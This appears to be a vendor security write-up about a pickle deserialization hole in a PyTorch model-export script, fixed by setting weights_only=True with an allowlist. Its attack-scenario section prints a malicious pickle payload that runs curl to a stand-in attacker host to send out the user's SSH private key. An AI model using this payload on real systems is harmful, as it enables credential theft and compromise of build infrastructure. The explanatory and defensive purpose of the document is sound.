How pickle-based arbitrary code execution happens in PyTorch and how to fix it

How pickle-based arbitrary code execution happens in PyTorch and how to fix it

Introduction

The scripts/export_joyvasa_audio.py file is a model-export utility: it loads a JoyVASA audio encoder checkpoint, wraps it in a HuBERT model, and converts the result to an ONNX graph for browser deployment. It is exactly the kind of internal tooling that teams trust implicitly — it runs locally, it touches known files, and it is rarely audited. That trust is precisely what makes line 71 dangerous.

At that line, the script called:

payload = torch.load(args.checkpoint, map_location="cpu", weights_only=False)

The weights_only=False flag tells PyTorch to use Python's full pickle deserializer. Pickle is not a data format — it is a program execution format. Any .pt checkpoint file that reaches this call can contain arbitrary Python bytecode that runs with the permissions of the process loading it. No exploit chain required; the vulnerability is the load call itself.

The Vulnerability Explained

What pickle actually does

Python's pickle module serializes objects by recording how to reconstruct them — which means it records callable references and their arguments. When you unpickle a file, Python faithfully calls those callables. The PyTorch checkpoint format has historically relied on pickle for everything beyond raw tensor storage, which is why torch.load inherited this risk.

The weights_only parameter was introduced specifically to address this. When set to True, PyTorch uses a restricted unpickler that only allows tensor-related globals. When set to False (the old default), the full pickle machinery runs with no restrictions.

The vulnerable code

# scripts/export_joyvasa_audio.py — BEFORE (line 71)
payload = torch.load(args.checkpoint, map_location="cpu", weights_only=False)

This single flag disables all of PyTorch's deserialization safety. The args.checkpoint value is read from the command line (argparse), meaning any path — including a file fetched from a remote model registry, pulled via git-lfs, or substituted by a compromised dependency — flows directly into an unrestricted pickle load.

A concrete attack scenario

Imagine a CI/CD pipeline that runs python scripts/export_joyvasa_audio.py --checkpoint models/audio_encoder.pt as part of a release build. An attacker who can:

• Push a malicious file to the model storage bucket, or
• Perform a supply-chain substitution of the checkpoint artifact, or
• Compromise the developer's local model cache

…can embed a pickle payload like the following inside a valid-looking .pt file:

import pickle, os

class Exploit(object):
    def __reduce__(self):
        return (os.system, ("curl https://attacker.example/exfil?k=$(cat ~/.ssh/id_rsa)",))

# Serialized into the checkpoint's pickle stream
pickle.dumps(Exploit())

When torch.load processes the file with weights_only=False, Python calls os.system(...) before the script ever reaches the HuBERT model initialization. The process is already compromised.

Why this matters for this specific application

The script is a web-application export pipeline — the PR description explicitly notes "This is a web application — XSS and injection vulnerabilities can affect end users." Export scripts run in build infrastructure that often has access to signing keys, cloud credentials, and deployment pipelines. Code execution here is not a sandboxed local risk; it is a foothold into the entire release process.

The Fix

The fix is precise and minimal: it does not change what the script loads, only how it loads it.

Before

# scripts/export_joyvasa_audio.py — line 68-71 (before)
from src.modules.hubert import HubertModel

payload = torch.load(args.checkpoint, map_location="cpu", weights_only=False)
config = HubertConfig.from_json_file(str(args.hubert_config))

After

# scripts/export_joyvasa_audio.py — line 68-72 (after)
from src.modules.hubert import HubertModel

torch.serialization.add_safe_globals([argparse.Namespace, PosixPath])
payload = torch.load(args.checkpoint, map_location="cpu", weights_only=True)
config = HubertConfig.from_json_file(str(args.hubert_config))

And the import at the top of the file was updated to expose PosixPath:

# Before
from pathlib import Path

# After
from pathlib import Path, PosixPath

Why this specific fix works

Setting weights_only=True activates PyTorch's restricted unpickler. Under this mode, the deserializer maintains an explicit allowlist of permitted globals. By default that list covers PyTorch tensor types, storage types, and a small set of standard numeric types — nothing else.

The JoyVASA checkpoint legitimately contains two non-tensor Python objects: argparse.Namespace (used to store training hyperparameters) and pathlib.PosixPath (used for stored file references). Without registering these, weights_only=True would raise an UnpicklingError because they are not on the default allowlist.

torch.serialization.add_safe_globals([argparse.Namespace, PosixPath]) explicitly opts these two classes into the allowlist. Every other class — including any attacker-injected callable — remains blocked. The script now loads exactly what it was always intended to load, and nothing more.

The companion change in export_joyvasa_denoiser.py

The same pattern was applied to the denoiser export script. The module docstring was also updated to reflect the new security model:

# Before
The checkpoint pickle global list must be audited before running this script. The
pinned checkpoint currently contains only argparse.Namespace, pathlib.PosixPath,
collections.OrderedDict, and PyTorch tensor rebuild/storage globals.

# After
The checkpoint contains argparse.Namespace, pathlib.PosixPath, collections.OrderedDict,
and PyTorch tensor rebuild/storage globals. The non-default classes are explicitly
allowlisted via add_safe_globals; all others are rejected by weights_only=True.

This is not cosmetic. The old comment acknowledged the risk and deferred it ("must be audited"). The new comment documents the enforcement — the allowlist is now machine-checked at load time, not human-checked before each run.

Prevention & Best Practices

1. Always set weights_only=True for new code

As of PyTorch 2.0, weights_only=True is the recommended default. In PyTorch 2.4+, passing weights_only=False emits a deprecation warning. Treat any existing codebase that passes weights_only=False as a finding to remediate.

# Safe baseline for any checkpoint load
model_state = torch.load("model.pt", map_location="cpu", weights_only=True)

2. Use add_safe_globals surgically, not broadly

If your checkpoint contains custom classes, register only the specific classes you know are present — do not register broad base classes or entire modules. Audit the checkpoint's pickle globals with fickling before adding anything to the allowlist:

pip install fickling
python -m fickling --check-safety model.pt

Fickling will list every global reference in the pickle stream, making it straightforward to build a minimal add_safe_globals call.

3. Prefer state_dict loading for model weights

The safest pattern for loading model weights is to instantiate the model architecture in code first, then load only the weight tensors:

model = MyModel(config)
state_dict = torch.load("weights.pt", map_location="cpu", weights_only=True)
model.load_state_dict(state_dict)

This approach never deserializes Python objects — only numeric tensors.

4. Consider ONNX or SafeTensors for checkpoint distribution

For checkpoints that cross trust boundaries (e.g., downloaded from Hugging Face, distributed via a model registry), prefer formats that cannot encode executable logic:

• ONNX: A standardized computation graph format with no pickle dependency.
• SafeTensors (Hugging Face): A simple binary format that stores only tensors and metadata, with explicit rejection of pickle.

5. Add the Semgrep rule to your CI pipeline

The Trail of Bits PyTorch pickle ruleset is available in the Semgrep registry. Adding it to CI catches this class of issue before it reaches main:

# .semgrep.yml
rules:
  - id: trailofbits.python.pickles-in-pytorch.pickles-in-pytorch
    # ... or use the registry directly:
    # semgrep --config "p/trailofbits"

Relevant standards

• CWE-502: Deserialization of Untrusted Data
• OWASP A08:2021: Software and Data Integrity Failures
• OWASP Deserialization Cheat Sheet: documents the general class of attack and mitigations

Key Takeaways

• weights_only=False is not a convenience flag — it is a code execution flag. Every torch.load() call in export_joyvasa_audio.py and export_joyvasa_denoiser.py that used it was an unconditional trust grant to the checkpoint file.
• The fix is additive, not restrictive. add_safe_globals([argparse.Namespace, PosixPath]) preserves full functionality while locking down everything else. You do not have to choose between security and compatibility.
• Export scripts are high-value targets. They run in build infrastructure with broad permissions. A checkpoint substitution attack on an export script can compromise signing keys, cloud credentials, and release artifacts — not just the model.
• Document your allowlist in code, not in comments. The old docstring said "must be audited before running." The new code enforces the allowlist automatically. Machine-checked security beats human-checked security every time.
• Fickling makes checkpoint auditing concrete. Before adding any class to add_safe_globals, run fickling --check-safety on the checkpoint to get a complete list of pickle globals. If you see anything unexpected, treat it as a finding.

How Orbis AppSec Detected This

• Source: args.checkpoint — a command-line argument passed directly to torch.load() in scripts/export_joyvasa_audio.py
• Sink: torch.load(args.checkpoint, map_location="cpu", weights_only=False) at line 71 of scripts/export_joyvasa_audio.py
• Missing control: No restriction on pickle globals; weights_only=False disabled PyTorch's built-in deserialization sandbox entirely
• CWE: CWE-502 — Deserialization of Untrusted Data
• Fix: Changed weights_only=False to weights_only=True and registered the two legitimate non-tensor globals (argparse.Namespace, PosixPath) via torch.serialization.add_safe_globals()

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

The torch.load(..., weights_only=False) pattern is one of the most common high-severity findings in Python ML codebases, and it is also one of the easiest to fix. The change in export_joyvasa_audio.py is four lines: one import, one add_safe_globals call, and one flag flip. Those four lines close an arbitrary code execution path that could have been triggered by anyone who could influence the checkpoint file — whether through a supply-chain attack, a compromised model registry, or a misconfigured storage bucket.

The broader lesson is that serialization formats which encode how to reconstruct objects — as opposed to formats that encode data — carry inherent execution risk. In PyTorch's case, the framework provides a direct escape hatch in weights_only=True. Use it by default. Register exceptions explicitly. Audit your checkpoints with fickling. And let static analysis catch the cases you miss.

References

• CWE-502: Deserialization of Untrusted Data
• OWASP Deserialization Cheat Sheet
• OWASP A08:2021 – Software and Data Integrity Failures
• PyTorch torch.load documentation — weights_only parameter
• PyTorch torch.serialization.add_safe_globals documentation
• Fickling — Trail of Bits pickle security auditing tool
• Semgrep rule: trailofbits.python.pickles-in-pytorch
• fix: replace unsafe pickle usage in export_joyvasa_audio.py...